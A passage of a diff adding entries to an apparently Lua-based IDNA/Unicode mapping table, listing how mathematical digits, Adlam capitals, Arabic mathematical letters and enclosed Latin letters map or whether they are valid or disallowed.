+ [0x1D7DB] = 0x0033, -- MATHEMATICAL DOUBLE-STRUCK DIGIT THREE
+ [0x1D7DC] = 0x0034, -- MATHEMATICAL DOUBLE-STRUCK DIGIT FOUR
+ [0x1D7DD] = 0x0035, -- MATHEMATICAL DOUBLE-STRUCK DIGIT FIVE
+ [0x1D7DE] = 0x0036, -- MATHEMATICAL DOUBLE-STRUCK DIGIT SIX
+ [0x1D7DF] = 0x0037, -- MATHEMATICAL DOUBLE-STRUCK DIGIT SEVEN
+ [0x1D7E0] = 0x0038, -- MATHEMATICAL DOUBLE-STRUCK DIGIT EIGHT
+ [0x1D7E1] = 0x0039, -- MATHEMATICAL DOUBLE-STRUCK DIGIT NINE
+ [0x1D7E2] = 0x0030, -- MATHEMATICAL SANS-SERIF DIGIT ZERO
+ [0x1D7E3] = 0x0031, -- MATHEMATICAL SANS-SERIF DIGIT ONE
+ [0x1D7E4] = 0x0032, -- MATHEMATICAL SANS-SERIF DIGIT TWO
+ [0x1D7E5] = 0x0033, -- MATHEMATICAL SANS-SERIF DIGIT THREE
+ [0x1D7E6] = 0x0034, -- MATHEMATICAL SANS-SERIF DIGIT FOUR
+ [0x1D7E7] = 0x0035, -- MATHEMATICAL SANS-SERIF DIGIT FIVE
+ [0x1D7E8] = 0x0036, -- MATHEMATICAL SANS-SERIF DIGIT SIX
+ [0x1D7E9] = 0x0037, -- MATHEMATICAL SANS-SERIF DIGIT SEVEN
+ [0x1D7EA] = 0x0038, -- MATHEMATICAL SANS-SERIF DIGIT EIGHT
+ [0x1D7EB] = 0x0039, -- MATHEMATICAL SANS-SERIF DIGIT NINE
+ [0x1D7EC] = 0x0030, -- MATHEMATICAL SANS-SERIF BOLD DIGIT ZERO
+ [0x1D7ED] = 0x0031, -- MATHEMATICAL SANS-SERIF BOLD DIGIT ONE
+ [0x1D7EE] = 0x0032, -- MATHEMATICAL SANS-SERIF BOLD DIGIT TWO
+ [0x1D7EF] = 0x0033, -- MATHEMATICAL SANS-SERIF BOLD DIGIT THREE
+ [0x1D7F0] = 0x0034, -- MATHEMATICAL SANS-SERIF BOLD DIGIT FOUR
+ [0x1D7F1] = 0x0035, -- MATHEMATICAL SANS-SERIF BOLD DIGIT FIVE
+ [0x1D7F2] = 0x0036, -- MATHEMATICAL SANS-SERIF BOLD DIGIT SIX
+ [0x1D7F3] = 0x0037, -- MATHEMATICAL SANS-SERIF BOLD DIGIT SEVEN
+ [0x1D7F4] = 0x0038, -- MATHEMATICAL SANS-SERIF BOLD DIGIT EIGHT
+ [0x1D7F5] = 0x0039, -- MATHEMATICAL SANS-SERIF BOLD DIGIT NINE
+ [0x1D7F6] = 0x0030, -- MATHEMATICAL MONOSPACE DIGIT ZERO
+ [0x1D7F7] = 0x0031, -- MATHEMATICAL MONOSPACE DIGIT ONE
+ [0x1D7F8] = 0x0032, -- MATHEMATICAL MONOSPACE DIGIT TWO
+ [0x1D7F9] = 0x0033, -- MATHEMATICAL MONOSPACE DIGIT THREE
+ [0x1D7FA] = 0x0034, -- MATHEMATICAL MONOSPACE DIGIT FOUR
+ [0x1D7FB] = 0x0035, -- MATHEMATICAL MONOSPACE DIGIT FIVE
+ [0x1D7FC] = 0x0036, -- MATHEMATICAL MONOSPACE DIGIT SIX
+ [0x1D7FD] = 0x0037, -- MATHEMATICAL MONOSPACE DIGIT SEVEN
+ [0x1D7FE] = 0x0038, -- MATHEMATICAL MONOSPACE DIGIT EIGHT
+ [0x1D7FF] = 0x0039, -- MATHEMATICAL MONOSPACE DIGIT NINE
+ -- NA <reserved-1D7CC>..<reserved-1D7CD>
+ [0x1D7CC] = {status="disallowed"},
+ [0x1D7CD] = {status="disallowed"},
+ -- SIGNWRITING AIR BLOW SMALL ROTATIONS..SIGNWRITING BREATH EXHALE
+ [0x1DA37] = {status="disallowed"},
+ [0x1DA38] = {status="disallowed"},
+ [0x1DA39] = {status="disallowed"},
+ [0x1DA3A] = {status="disallowed"},
+ [0x1DA75] = {status="valid"}, -- SIGNWRITING UPPER BODY TILTING FROM HIP JOINTS
+ [0x1DA84] = {status="valid"}, -- SIGNWRITING LOCATION HEAD NECK
+ [0x1DAA0] = {status="disallowed"}, -- NA <reserved-1DAA0>
+ -- SIGNWRITING FILL MODIFIER-2..SIGNWRITING FILL MODIFIER-6
+ [0x1DA9B] = {status="valid"},
+ [0x1DA9C] = {status="valid"},
+ [0x1DA9D] = {status="valid"},
+ [0x1DA9E] = {status="valid"},
+ [0x1DA9F] = {status="valid"},
+ [0x1E007] = {status="disallowed"}, -- NA <reserved-1E007>
+ -- NA <reserved-1E019>..<reserved-1E01A>
+ [0x1E019] = {status="disallowed"},
+ [0x1E01A] = {status="disallowed"},
+ [0x1E022] = {status="disallowed"}, -- NA <reserved-1E022>
+ [0x1E025] = {status="disallowed"}, -- NA <reserved-1E025>
+ -- COMBINING GLAGOLITIC LETTER YU..COMBINING GLAGOLITIC LETTER SMALL YUS
+ [0x1E023] = {status="valid"},
+ [0x1E024] = {status="valid"},
+ -- COMBINING GLAGOLITIC LETTER YO..COMBINING GLAGOLITIC LETTER FITA
+ [0x1E026] = {status="valid"},
+ [0x1E027] = {status="valid"},
+ [0x1E028] = {status="valid"},
+ [0x1E029] = {status="valid"},
+ [0x1E02A] = {status="valid"},
+ -- NA <reserved-1E8C5>..<reserved-1E8C6>
+ [0x1E8C5] = {status="disallowed"},
+ [0x1E8C6] = {status="disallowed"},
+ [0x1E900] = 0x1E922, -- ADLAM CAPITAL LETTER ALIF
+ [0x1E901] = 0x1E923, -- ADLAM CAPITAL LETTER DAALI
+ [0x1E902] = 0x1E924, -- ADLAM CAPITAL LETTER LAAM
+ [0x1E903] = 0x1E925, -- ADLAM CAPITAL LETTER MIIM
+ [0x1E904] = 0x1E926, -- ADLAM CAPITAL LETTER BA
+ [0x1E905] = 0x1E927, -- ADLAM CAPITAL LETTER SINNYIIYHE
+ [0x1E906] = 0x1E928, -- ADLAM CAPITAL LETTER PE
+ [0x1E907] = 0x1E929, -- ADLAM CAPITAL LETTER BHE
+ [0x1E908] = 0x1E92A, -- ADLAM CAPITAL LETTER RA
+ [0x1E909] = 0x1E92B, -- ADLAM CAPITAL LETTER E
+ [0x1E90A] = 0x1E92C, -- ADLAM CAPITAL LETTER FA
+ [0x1E90B] = 0x1E92D, -- ADLAM CAPITAL LETTER I
+ [0x1E90C] = 0x1E92E, -- ADLAM CAPITAL LETTER O
+ [0x1E90D] = 0x1E92F, -- ADLAM CAPITAL LETTER DHA
+ [0x1E90E] = 0x1E930, -- ADLAM CAPITAL LETTER YHE
+ [0x1E90F] = 0x1E931, -- ADLAM CAPITAL LETTER WAW
+ [0x1E910] = 0x1E932, -- ADLAM CAPITAL LETTER NUN
+ [0x1E911] = 0x1E933, -- ADLAM CAPITAL LETTER KAF
+ [0x1E912] = 0x1E934, -- ADLAM CAPITAL LETTER YA
+ [0x1E913] = 0x1E935, -- ADLAM CAPITAL LETTER U
+ [0x1E914] = 0x1E936, -- ADLAM CAPITAL LETTER JIIM
+ [0x1E915] = 0x1E937, -- ADLAM CAPITAL LETTER CHI
+ [0x1E916] = 0x1E938, -- ADLAM CAPITAL LETTER HA
+ [0x1E917] = 0x1E939, -- ADLAM CAPITAL LETTER QAAF
+ [0x1E918] = 0x1E93A, -- ADLAM CAPITAL LETTER GA
+ [0x1E919] = 0x1E93B, -- ADLAM CAPITAL LETTER NYA
+ [0x1E91A] = 0x1E93C, -- ADLAM CAPITAL LETTER TU
+ [0x1E91B] = 0x1E93D, -- ADLAM CAPITAL LETTER NHA
+ [0x1E91C] = 0x1E93E, -- ADLAM CAPITAL LETTER VA
+ [0x1E91D] = 0x1E93F, -- ADLAM CAPITAL LETTER KHA
+ [0x1E91E] = 0x1E940, -- ADLAM CAPITAL LETTER GBE
+ [0x1E91F] = 0x1E941, -- ADLAM CAPITAL LETTER ZAL
+ [0x1E920] = 0x1E942, -- ADLAM CAPITAL LETTER KPO
+ [0x1E921] = 0x1E943, -- ADLAM CAPITAL LETTER SHA
+ -- NA <reserved-1E94B>..<reserved-1E94F>
+ [0x1E94B] = {status="disallowed"},
+ [0x1E94C] = {status="disallowed"},
+ [0x1E94D] = {status="disallowed"},
+ [0x1E94E] = {status="disallowed"},
+ [0x1E94F] = {status="disallowed"},
+ -- NA <reserved-1E95A>..<reserved-1E95D>
+ [0x1E95A] = {status="disallowed"},
+ [0x1E95B] = {status="disallowed"},
+ [0x1E95C] = {status="disallowed"},
+ [0x1E95D] = {status="disallowed"},
+ -- ADLAM INITIAL EXCLAMATION MARK..ADLAM INITIAL QUESTION MARK
+ [0x1E95E] = {status="disallowed"},
+ [0x1E95F] = {status="disallowed"},
+ [0x1EE00] = 0x0627, -- ARABIC MATHEMATICAL ALEF
+ [0x1EE01] = 0x0628, -- ARABIC MATHEMATICAL BEH
+ [0x1EE02] = 0x062C, -- ARABIC MATHEMATICAL JEEM
+ [0x1EE03] = 0x062F, -- ARABIC MATHEMATICAL DAL
+ [0x1EE04] = {status="disallowed"}, -- NA <reserved-1EE04>
+ [0x1EE05] = 0x0648, -- ARABIC MATHEMATICAL WAW
+ [0x1EE06] = 0x0632, -- ARABIC MATHEMATICAL ZAIN
+ [0x1EE07] = 0x062D, -- ARABIC MATHEMATICAL HAH
+ [0x1EE08] = 0x0637, -- ARABIC MATHEMATICAL TAH
+ [0x1EE09] = 0x064A, -- ARABIC MATHEMATICAL YEH
+ [0x1EE0A] = 0x0643, -- ARABIC MATHEMATICAL KAF
+ [0x1EE0B] = 0x0644, -- ARABIC MATHEMATICAL LAM
+ [0x1EE0C] = 0x0645, -- ARABIC MATHEMATICAL MEEM
+ [0x1EE0D] = 0x0646, -- ARABIC MATHEMATICAL NOON
+ [0x1EE0E] = 0x0633, -- ARABIC MATHEMATICAL SEEN
+ [0x1EE0F] = 0x0639, -- ARABIC MATHEMATICAL AIN
+ [0x1EE10] = 0x0641, -- ARABIC MATHEMATICAL FEH
+ [0x1EE11] = 0x0635, -- ARABIC MATHEMATICAL SAD
+ [0x1EE12] = 0x0642, -- ARABIC MATHEMATICAL QAF
+ [0x1EE13] = 0x0631, -- ARABIC MATHEMATICAL REH
+ [0x1EE14] = 0x0634, -- ARABIC MATHEMATICAL SHEEN
+ [0x1EE15] = 0x062A, -- ARABIC MATHEMATICAL TEH
+ [0x1EE16] = 0x062B, -- ARABIC MATHEMATICAL THEH
+ [0x1EE17] = 0x062E, -- ARABIC MATHEMATICAL KHAH
+ [0x1EE18] = 0x0630, -- ARABIC MATHEMATICAL THAL
+ [0x1EE19] = 0x0636, -- ARABIC MATHEMATICAL DAD
+ [0x1EE1A] = 0x0638, -- ARABIC MATHEMATICAL ZAH
+ [0x1EE1B] = 0x063A, -- ARABIC MATHEMATICAL GHAIN
+ [0x1EE1C] = 0x066E, -- ARABIC MATHEMATICAL DOTLESS BEH
+ [0x1EE1D] = 0x06BA, -- ARABIC MATHEMATICAL DOTLESS NOON
+ [0x1EE1E] = 0x06A1, -- ARABIC MATHEMATICAL DOTLESS FEH
+ [0x1EE1F] = 0x066F, -- ARABIC MATHEMATICAL DOTLESS QAF
+ [0x1EE20] = {status="disallowed"}, -- NA <reserved-1EE20>
+ [0x1EE21] = 0x0628, -- ARABIC MATHEMATICAL INITIAL BEH
+ [0x1EE22] = 0x062C, -- ARABIC MATHEMATICAL INITIAL JEEM
+ [0x1EE23] = {status="disallowed"}, -- NA <reserved-1EE23>
+ [0x1EE24] = 0x0647, -- ARABIC MATHEMATICAL INITIAL HEH
+ [0x1EE27] = 0x062D, -- ARABIC MATHEMATICAL INITIAL HAH
+ [0x1EE28] = {status="disallowed"}, -- NA <reserved-1EE28>
+ [0x1EE29] = 0x064A, -- ARABIC MATHEMATICAL INITIAL YEH
+ [0x1EE2A] = 0x0643, -- ARABIC MATHEMATICAL INITIAL KAF
+ [0x1EE2B] = 0x0644, -- ARABIC MATHEMATICAL INITIAL LAM
+ [0x1EE2C] = 0x0645, -- ARABIC MATHEMATICAL INITIAL MEEM
+ [0x1EE2D] = 0x0646, -- ARABIC MATHEMATICAL INITIAL NOON
+ [0x1EE2E] = 0x0633, -- ARABIC MATHEMATICAL INITIAL SEEN
+ [0x1EE2F] = 0x0639, -- ARABIC MATHEMATICAL INITIAL AIN
+ [0x1EE30] = 0x0641, -- ARABIC MATHEMATICAL INITIAL FEH
+ [0x1EE31] = 0x0635, -- ARABIC MATHEMATICAL INITIAL SAD
+ [0x1EE32] = 0x0642, -- ARABIC MATHEMATICAL INITIAL QAF
+ [0x1EE33] = {status="disallowed"}, -- NA <reserved-1EE33>
+ [0x1EE34] = 0x0634, -- ARABIC MATHEMATICAL INITIAL SHEEN
+ [0x1EE35] = 0x062A, -- ARABIC MATHEMATICAL INITIAL TEH
+ [0x1EE36] = 0x062B, -- ARABIC MATHEMATICAL INITIAL THEH
+ [0x1EE37] = 0x062E, -- ARABIC MATHEMATICAL INITIAL KHAH
+ [0x1EE38] = {status="disallowed"}, -- NA <reserved-1EE38>
+ [0x1EE39] = 0x0636, -- ARABIC MATHEMATICAL INITIAL DAD
+ [0x1EE3A] = {status="disallowed"}, -- NA <reserved-1EE3A>
+ [0x1EE3B] = 0x063A, -- ARABIC MATHEMATICAL INITIAL GHAIN
+ -- NA <reserved-1EE25>..<reserved-1EE26>
+ [0x1EE25] = {status="disallowed"},
+ [0x1EE26] = {status="disallowed"},
+ [0x1EE42] = 0x062C, -- ARABIC MATHEMATICAL TAILED JEEM
+ [0x1EE47] = 0x062D, -- ARABIC MATHEMATICAL TAILED HAH
+ [0x1EE48] = {status="disallowed"}, -- NA <reserved-1EE48>
+ [0x1EE49] = 0x064A, -- ARABIC MATHEMATICAL TAILED YEH
+ [0x1EE4A] = {status="disallowed"}, -- NA <reserved-1EE4A>
+ [0x1EE4B] = 0x0644, -- ARABIC MATHEMATICAL TAILED LAM
+ [0x1EE4C] = {status="disallowed"}, -- NA <reserved-1EE4C>
+ [0x1EE4D] = 0x0646, -- ARABIC MATHEMATICAL TAILED NOON
+ [0x1EE4E] = 0x0633, -- ARABIC MATHEMATICAL TAILED SEEN
+ [0x1EE4F] = 0x0639, -- ARABIC MATHEMATICAL TAILED AIN
+ [0x1EE50] = {status="disallowed"}, -- NA <reserved-1EE50>
+ [0x1EE51] = 0x0635, -- ARABIC MATHEMATICAL TAILED SAD
+ [0x1EE52] = 0x0642, -- ARABIC MATHEMATICAL TAILED QAF
+ [0x1EE53] = {status="disallowed"}, -- NA <reserved-1EE53>
+ [0x1EE54] = 0x0634, -- ARABIC MATHEMATICAL TAILED SHEEN
+ -- NA <reserved-1EE43>..<reserved-1EE46>
+ [0x1EE43] = {status="disallowed"},
+ [0x1EE44] = {status="disallowed"},
+ [0x1EE45] = {status="disallowed"},
+ [0x1EE46] = {status="disallowed"},
+ [0x1EE57] = 0x062E, -- ARABIC MATHEMATICAL TAILED KHAH
+ [0x1EE58] = {status="disallowed"}, -- NA <reserved-1EE58>
+ [0x1EE59] = 0x0636, -- ARABIC MATHEMATICAL TAILED DAD
+ [0x1EE5A] = {status="disallowed"}, -- NA <reserved-1EE5A>
+ [0x1EE5B] = 0x063A, -- ARABIC MATHEMATICAL TAILED GHAIN
+ [0x1EE5C] = {status="disallowed"}, -- NA <reserved-1EE5C>
+ [0x1EE5D] = 0x06BA, -- ARABIC MATHEMATICAL TAILED DOTLESS NOON
+ [0x1EE5E] = {status="disallowed"}, -- NA <reserved-1EE5E>
+ [0x1EE5F] = 0x066F, -- ARABIC MATHEMATICAL TAILED DOTLESS QAF
+ [0x1EE60] = {status="disallowed"}, -- NA <reserved-1EE60>
+ [0x1EE61] = 0x0628, -- ARABIC MATHEMATICAL STRETCHED BEH
+ [0x1EE62] = 0x062C, -- ARABIC MATHEMATICAL STRETCHED JEEM
+ [0x1EE63] = {status="disallowed"}, -- NA <reserved-1EE63>
+ [0x1EE64] = 0x0647, -- ARABIC MATHEMATICAL STRETCHED HEH
+ -- NA <reserved-1EE55>..<reserved-1EE56>
+ [0x1EE55] = {status="disallowed"},
+ [0x1EE56] = {status="disallowed"},
+ [0x1EE67] = 0x062D, -- ARABIC MATHEMATICAL STRETCHED HAH
+ [0x1EE68] = 0x0637, -- ARABIC MATHEMATICAL STRETCHED TAH
+ [0x1EE69] = 0x064A, -- ARABIC MATHEMATICAL STRETCHED YEH
+ [0x1EE6A] = 0x0643, -- ARABIC MATHEMATICAL STRETCHED KAF
+ [0x1EE6B] = {status="disallowed"}, -- NA <reserved-1EE6B>
+ [0x1EE6C] = 0x0645, -- ARABIC MATHEMATICAL STRETCHED MEEM
+ [0x1EE6D] = 0x0646, -- ARABIC MATHEMATICAL STRETCHED NOON
+ [0x1EE6E] = 0x0633, -- ARABIC MATHEMATICAL STRETCHED SEEN
+ [0x1EE6F] = 0x0639, -- ARABIC MATHEMATICAL STRETCHED AIN
+ [0x1EE70] = 0x0641, -- ARABIC MATHEMATICAL STRETCHED FEH
+ [0x1EE71] = 0x0635, -- ARABIC MATHEMATICAL STRETCHED SAD
+ [0x1EE72] = 0x0642, -- ARABIC MATHEMATICAL STRETCHED QAF
+ [0x1EE73] = {status="disallowed"}, -- NA <reserved-1EE73>
+ [0x1EE74] = 0x0634, -- ARABIC MATHEMATICAL STRETCHED SHEEN
+ [0x1EE75] = 0x062A, -- ARABIC MATHEMATICAL STRETCHED TEH
+ [0x1EE76] = 0x062B, -- ARABIC MATHEMATICAL STRETCHED THEH
+ [0x1EE77] = 0x062E, -- ARABIC MATHEMATICAL STRETCHED KHAH
+ [0x1EE78] = {status="disallowed"}, -- NA <reserved-1EE78>
+ [0x1EE79] = 0x0636, -- ARABIC MATHEMATICAL STRETCHED DAD
+ [0x1EE7A] = 0x0638, -- ARABIC MATHEMATICAL STRETCHED ZAH
+ [0x1EE7B] = 0x063A, -- ARABIC MATHEMATICAL STRETCHED GHAIN
+ [0x1EE7C] = 0x066E, -- ARABIC MATHEMATICAL STRETCHED DOTLESS BEH
+ [0x1EE7D] = {status="disallowed"}, -- NA <reserved-1EE7D>
+ [0x1EE7E] = 0x06A1, -- ARABIC MATHEMATICAL STRETCHED DOTLESS FEH
+ [0x1EE7F] = {status="disallowed"}, -- NA <reserved-1EE7F>
+ [0x1EE80] = 0x0627, -- ARABIC MATHEMATICAL LOOPED ALEF
+ [0x1EE81] = 0x0628, -- ARABIC MATHEMATICAL LOOPED BEH
+ [0x1EE82] = 0x062C, -- ARABIC MATHEMATICAL LOOPED JEEM
+ [0x1EE83] = 0x062F, -- ARABIC MATHEMATICAL LOOPED DAL
+ [0x1EE84] = 0x0647, -- ARABIC MATHEMATICAL LOOPED HEH
+ [0x1EE85] = 0x0648, -- ARABIC MATHEMATICAL LOOPED WAW
+ [0x1EE86] = 0x0632, -- ARABIC MATHEMATICAL LOOPED ZAIN
+ [0x1EE87] = 0x062D, -- ARABIC MATHEMATICAL LOOPED HAH
+ [0x1EE88] = 0x0637, -- ARABIC MATHEMATICAL LOOPED TAH
+ [0x1EE89] = 0x064A, -- ARABIC MATHEMATICAL LOOPED YEH
+ [0x1EE8A] = {status="disallowed"}, -- NA <reserved-1EE8A>
+ [0x1EE8B] = 0x0644, -- ARABIC MATHEMATICAL LOOPED LAM
+ [0x1EE8C] = 0x0645, -- ARABIC MATHEMATICAL LOOPED MEEM
+ [0x1EE8D] = 0x0646, -- ARABIC MATHEMATICAL LOOPED NOON
+ [0x1EE8E] = 0x0633, -- ARABIC MATHEMATICAL LOOPED SEEN
+ [0x1EE8F] = 0x0639, -- ARABIC MATHEMATICAL LOOPED AIN
+ [0x1EE90] = 0x0641, -- ARABIC MATHEMATICAL LOOPED FEH
+ [0x1EE91] = 0x0635, -- ARABIC MATHEMATICAL LOOPED SAD
+ [0x1EE92] = 0x0642, -- ARABIC MATHEMATICAL LOOPED QAF
+ [0x1EE93] = 0x0631, -- ARABIC MATHEMATICAL LOOPED REH
+ [0x1EE94] = 0x0634, -- ARABIC MATHEMATICAL LOOPED SHEEN
+ [0x1EE95] = 0x062A, -- ARABIC MATHEMATICAL LOOPED TEH
+ [0x1EE96] = 0x062B, -- ARABIC MATHEMATICAL LOOPED THEH
+ [0x1EE97] = 0x062E, -- ARABIC MATHEMATICAL LOOPED KHAH
+ [0x1EE98] = 0x0630, -- ARABIC MATHEMATICAL LOOPED THAL
+ [0x1EE99] = 0x0636, -- ARABIC MATHEMATICAL LOOPED DAD
+ [0x1EE9A] = 0x0638, -- ARABIC MATHEMATICAL LOOPED ZAH
+ [0x1EE9B] = 0x063A, -- ARABIC MATHEMATICAL LOOPED GHAIN
+ -- NA <reserved-1EE65>..<reserved-1EE66>
+ [0x1EE65] = {status="disallowed"},
+ [0x1EE66] = {status="disallowed"},
+ [0x1EEA1] = 0x0628, -- ARABIC MATHEMATICAL DOUBLE-STRUCK BEH
+ [0x1EEA2] = 0x062C, -- ARABIC MATHEMATICAL DOUBLE-STRUCK JEEM
+ [0x1EEA3] = 0x062F, -- ARABIC MATHEMATICAL DOUBLE-STRUCK DAL
+ [0x1EEA4] = {status="disallowed"}, -- NA <reserved-1EEA4>
+ [0x1EEA5] = 0x0648, -- ARABIC MATHEMATICAL DOUBLE-STRUCK WAW
+ [0x1EEA6] = 0x0632, -- ARABIC MATHEMATICAL DOUBLE-STRUCK ZAIN
+ [0x1EEA7] = 0x062D, -- ARABIC MATHEMATICAL DOUBLE-STRUCK HAH
+ [0x1EEA8] = 0x0637, -- ARABIC MATHEMATICAL DOUBLE-STRUCK TAH
+ [0x1EEA9] = 0x064A, -- ARABIC MATHEMATICAL DOUBLE-STRUCK YEH
+ [0x1EEAA] = {status="disallowed"}, -- NA <reserved-1EEAA>
+ [0x1EEAB] = 0x0644, -- ARABIC MATHEMATICAL DOUBLE-STRUCK LAM
+ [0x1EEAC] = 0x0645, -- ARABIC MATHEMATICAL DOUBLE-STRUCK MEEM
+ [0x1EEAD] = 0x0646, -- ARABIC MATHEMATICAL DOUBLE-STRUCK NOON
+ [0x1EEAE] = 0x0633, -- ARABIC MATHEMATICAL DOUBLE-STRUCK SEEN
+ [0x1EEAF] = 0x0639, -- ARABIC MATHEMATICAL DOUBLE-STRUCK AIN
+ [0x1EEB0] = 0x0641, -- ARABIC MATHEMATICAL DOUBLE-STRUCK FEH
+ [0x1EEB1] = 0x0635, -- ARABIC MATHEMATICAL DOUBLE-STRUCK SAD
+ [0x1EEB2] = 0x0642, -- ARABIC MATHEMATICAL DOUBLE-STRUCK QAF
+ [0x1EEB3] = 0x0631, -- ARABIC MATHEMATICAL DOUBLE-STRUCK REH
+ [0x1EEB4] = 0x0634, -- ARABIC MATHEMATICAL DOUBLE-STRUCK SHEEN
+ [0x1EEB5] = 0x062A, -- ARABIC MATHEMATICAL DOUBLE-STRUCK TEH
+ [0x1EEB6] = 0x062B, -- ARABIC MATHEMATICAL DOUBLE-STRUCK THEH
+ [0x1EEB7] = 0x062E, -- ARABIC MATHEMATICAL DOUBLE-STRUCK KHAH
+ [0x1EEB8] = 0x0630, -- ARABIC MATHEMATICAL DOUBLE-STRUCK THAL
+ [0x1EEB9] = 0x0636, -- ARABIC MATHEMATICAL DOUBLE-STRUCK DAD
+ [0x1EEBA] = 0x0638, -- ARABIC MATHEMATICAL DOUBLE-STRUCK ZAH
+ [0x1EEBB] = 0x063A, -- ARABIC MATHEMATICAL DOUBLE-STRUCK GHAIN
+ -- NA <reserved-1EE9C>..<reserved-1EEA0>
+ [0x1EE9C] = {status="disallowed"},
+ [0x1EE9D] = {status="disallowed"},
+ [0x1EE9E] = {status="disallowed"},
+ [0x1EE9F] = {status="disallowed"},
+ [0x1EEA0] = {status="disallowed"},
+ -- ARABIC MATHEMATICAL OPERATOR MEEM WITH HAH WITH TATWEEL..ARABIC MATHEMATICAL OPERATOR HAH WITH DAL
+ [0x1EEF0] = {status="disallowed"},
+ [0x1EEF1] = {status="disallowed"},
+ -- NA <reserved-1F02C>..<reserved-1F02F>
+ [0x1F02C] = {status="disallowed"},
+ [0x1F02D] = {status="disallowed"},
+ [0x1F02E] = {status="disallowed"},
+ [0x1F02F] = {status="disallowed"},
+ -- NA <reserved-1F0AF>..<reserved-1F0B0>
+ [0x1F0AF] = {status="disallowed"},
+ [0x1F0B0] = {status="disallowed"},
+ [0x1F0BF] = {status="disallowed"}, -- PLAYING CARD RED JOKER
+ [0x1F0C0] = {status="disallowed"}, -- NA <reserved-1F0C0>
+ [0x1F0D0] = {status="disallowed"}, -- NA <reserved-1F0D0>
+ [0x1F100] = {status="disallowed"}, -- DIGIT ZERO FULL STOP
+ [0x1F101] = {status="disallowed"}, -- DIGIT ZERO COMMA
+ [0x1F102] = {status="disallowed"}, -- DIGIT ONE COMMA
+ [0x1F103] = {status="disallowed"}, -- DIGIT TWO COMMA
+ [0x1F104] = {status="disallowed"}, -- DIGIT THREE COMMA
+ [0x1F105] = {status="disallowed"}, -- DIGIT FOUR COMMA
+ [0x1F106] = {status="disallowed"}, -- DIGIT FIVE COMMA
+ [0x1F107] = {status="disallowed"}, -- DIGIT SIX COMMA
+ [0x1F108] = {status="disallowed"}, -- DIGIT SEVEN COMMA
+ [0x1F109] = {status="disallowed"}, -- DIGIT EIGHT COMMA
+ [0x1F10A] = {status="disallowed"}, -- DIGIT NINE COMMA
+ -- DINGBAT CIRCLED SANS-SERIF DIGIT ZERO..DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ZERO
+ [0x1F10B] = {status="disallowed"},
+ [0x1F10C] = {status="disallowed"},
+ [0x1F110] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER A
+ [0x1F111] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER B
+ [0x1F112] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER C
+ [0x1F113] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER D
+ [0x1F114] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER E
+ [0x1F115] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER F
+ [0x1F116] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER G
+ [0x1F117] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER H
+ [0x1F118] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER I
+ [0x1F119] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER J
+ [0x1F11A] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER K
+ [0x1F11B] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER L
+ [0x1F11C] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER M
+ [0x1F11D] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER N
+ [0x1F11E] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER O
+ [0x1F11F] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER P
+ [0x1F120] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER Q
+ [0x1F121] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER R
+ [0x1F122] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER S
+ [0x1F123] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER T
+ [0x1F124] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER U
+ [0x1F125] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER V
+ [0x1F126] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER W
+ [0x1F127] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER X
+ [0x1F128] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER Y
+ [0x1F129] = {status="disallowed"}, -- PARENTHESIZED LATIN CAPITAL LETTER Z
+ [0x1F12A] = {0x3014, 0x0073, 0x3015}, -- TORTOISE SHELL BRACKETED LATIN CAPITAL LETTER S
+ [0x1F12B] = 0x0063, -- CIRCLED ITALIC LATIN CAPITAL LETTER C
+ [0x1F12C] = 0x0072, -- CIRCLED ITALIC LATIN CAPITAL LETTER R
+ [0x1F12D] = {0x0063, 0x0064}, -- CIRCLED CD
+ [0x1F12E] = {0x0077, 0x007A}, -- CIRCLED WZ
+ [0x1F12F] = {status="disallowed"}, -- NA <reserved-1F12F>
+ [0x1F130] = 0x0061, -- SQUARED LATIN CAPITAL LETTER A
+ [0x1F131] = 0x0062, -- SQUARED LATIN CAPITAL LETTER B
+ [0x1F132] = 0x0063, -- SQUARED LATIN CAPITAL LETTER C
+ [0x1F133] = 0x0064, -- SQUARED LATIN CAPITAL LETTER D
+ [0x1F134] = 0x0065, -- SQUARED LATIN CAPITAL LETTER E
+ [0x1F135] = 0x0066, -- SQUARED LATIN CAPITAL LETTER F
+ [0x1F136] = 0x0067, -- SQUARED LATIN CAPITAL LETTER G
+ [0x1F137] = 0x0068, -- SQUARED LATIN CAPITAL LETTER H
+ [0x1F138] = 0x0069, -- SQUARED LATIN CAPITAL LETTER I
+ [0x1F139] = 0x006A, -- SQUARED LATIN CAPITAL LETTER J
+ [0x1F13A] = 0x006B, -- SQUARED LATIN CAPITAL LETTER K
+ [0x1F13B] = 0x006C, -- SQUARED LATIN CAPITAL LETTER L
+ [0x1F13C] = 0x006D, -- SQUARED LATIN CAPITAL LETTER M
+ [0x1F13D] = 0x006E, -- SQUARED LATIN CAPITAL LETTER N
+ [0x1F13E] = 0x006F, -- SQUARED LATIN CAPITAL LETTER O
+ [0x1F13F] = 0x0070, -- SQUARED LATIN CAPITAL LETTER P
